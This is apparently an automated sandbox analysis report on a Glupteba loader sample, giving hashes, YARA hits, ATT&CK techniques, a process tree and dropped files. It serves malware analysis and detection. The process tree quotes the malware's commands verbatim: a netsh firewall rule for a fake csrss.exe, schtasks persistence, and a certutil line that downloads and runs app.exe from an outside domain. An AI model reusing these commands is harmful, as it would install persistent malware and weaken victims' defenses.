glupteba | be33ed4f9d804207cde82fe2402766243c4739a2c4d9319cf4781858eca82e07

Analysis

max time kernel
2s
max time network
148s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
17-04-2024 04:38

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General

Target

f50d7e5eb828c1b64b674b1decf32416_JaffaCakes118.exe
Size

4.4MB
MD5

f50d7e5eb828c1b64b674b1decf32416
SHA1

1d2dfe56e6693572cebc72ce617a03070798c7a3
SHA256

be33ed4f9d804207cde82fe2402766243c4739a2c4d9319cf4781858eca82e07
SHA512

269bae52d7877fa4a138cb3106402a5d7cff2132e8448b559c40ee1515ff88b548ea37a22e59da29c790f20a22e64fa22993d35a6788b85507808cd8c7653eab
SSDEEP

98304:iQRi8rzyu4absB48jEzr5ufxD7k4eArxz3JAq6B:iQRiiKabU4YEzFux04fxWlB

Score

10^/10

glupteba metasploit backdoor dropper evasion loader trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 12 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1308-2-0x0000000005000000-0x0000000005926000-memory.dmp	family_glupteba
behavioral1/memory/1308-3-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/1308-5-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/1308-6-0x0000000005000000-0x0000000005926000-memory.dmp	family_glupteba
behavioral1/memory/2604-9-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2604-19-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2892-113-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2892-114-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2892-115-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2892-116-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2892-120-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2892-121-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

2468 netsh.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1732 schtasks.exe
920 schtasks.exe
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 11 Go-http-client/1.1
HTTP User-Agent header 12 Go-http-client/1.1

pid	process
2468	netsh.exe

pid	process
1732	schtasks.exe
920	schtasks.exe

description	flow	ioc
HTTP User-Agent header	11	Go-http-client/1.1
HTTP User-Agent header	12	Go-http-client/1.1

C:\Users\Admin\AppData\Local\Temp\f50d7e5eb828c1b64b674b1decf32416_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\f50d7e5eb828c1b64b674b1decf32416_JaffaCakes118.exe"
1⤵
PID:1308

C:\Users\Admin\AppData\Local\Temp\f50d7e5eb828c1b64b674b1decf32416_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\f50d7e5eb828c1b64b674b1decf32416_JaffaCakes118.exe"
2⤵
PID:2604

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
PID:2428

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:2468

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe /200-200
3⤵
PID:2892

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1732

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:920

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
PID:2620

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240417043812.log C:\Windows\Logs\CBS\CbsPersist_20240417043812.cab
1⤵
PID:2548

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC4D7.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC626.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.3MB

MD5
d7e178dc658923112a89a757569b71f3

SHA1
e4ac4fba32bc26f32a563270f13f8c92adcdfe54

SHA256
71a4c0e0ba0fd5dff01a282fd0a8b21312bf0e395db9ae9e8441ff31b00fa8ce

SHA512
ca58fb4b5b57f44a0c996671c19be0aeebe1a80bf2fd8b38d36cfec795db18aa3af4720720a6099a3118e7ceca7191ef1b1faebea0a4d98cbc73d80beec5edf5

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
f50d7e5eb828c1b64b674b1decf32416

SHA1
1d2dfe56e6693572cebc72ce617a03070798c7a3

SHA256
be33ed4f9d804207cde82fe2402766243c4739a2c4d9319cf4781858eca82e07

SHA512
269bae52d7877fa4a138cb3106402a5d7cff2132e8448b559c40ee1515ff88b548ea37a22e59da29c790f20a22e64fa22993d35a6788b85507808cd8c7653eab

Download Submit
memory/1308-2-0x0000000005000000-0x0000000005926000-memory.dmp

Filesize
9.1MB

Download
memory/1308-7-0x0000000004BC0000-0x0000000004FFC000-memory.dmp

Filesize
4.2MB

Download
memory/1308-1-0x0000000004BC0000-0x0000000004FFC000-memory.dmp

Filesize
4.2MB

Download
memory/1308-5-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/1308-0-0x0000000004BC0000-0x0000000004FFC000-memory.dmp

Filesize
4.2MB

Download
memory/1308-3-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/1308-6-0x0000000005000000-0x0000000005926000-memory.dmp

Filesize
9.1MB

Download
memory/2604-20-0x0000000004940000-0x0000000004D7C000-memory.dmp

Filesize
4.2MB

Download
memory/2604-8-0x0000000004940000-0x0000000004D7C000-memory.dmp

Filesize
4.2MB

Download
memory/2604-9-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2604-19-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2604-4-0x0000000004940000-0x0000000004D7C000-memory.dmp

Filesize
4.2MB

Download
memory/2620-29-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2620-44-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2620-42-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2892-124-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-116-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-126-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-99-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-100-0x0000000004A10000-0x0000000004E4C000-memory.dmp

Filesize
4.2MB

Download
memory/2892-112-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-113-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-114-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-115-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-23-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-120-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-121-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-122-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-123-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-21-0x0000000004A10000-0x0000000004E4C000-memory.dmp

Filesize
4.2MB

Download
memory/2892-125-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2892-18-0x0000000004A10000-0x0000000004E4C000-memory.dmp

Filesize
4.2MB

Download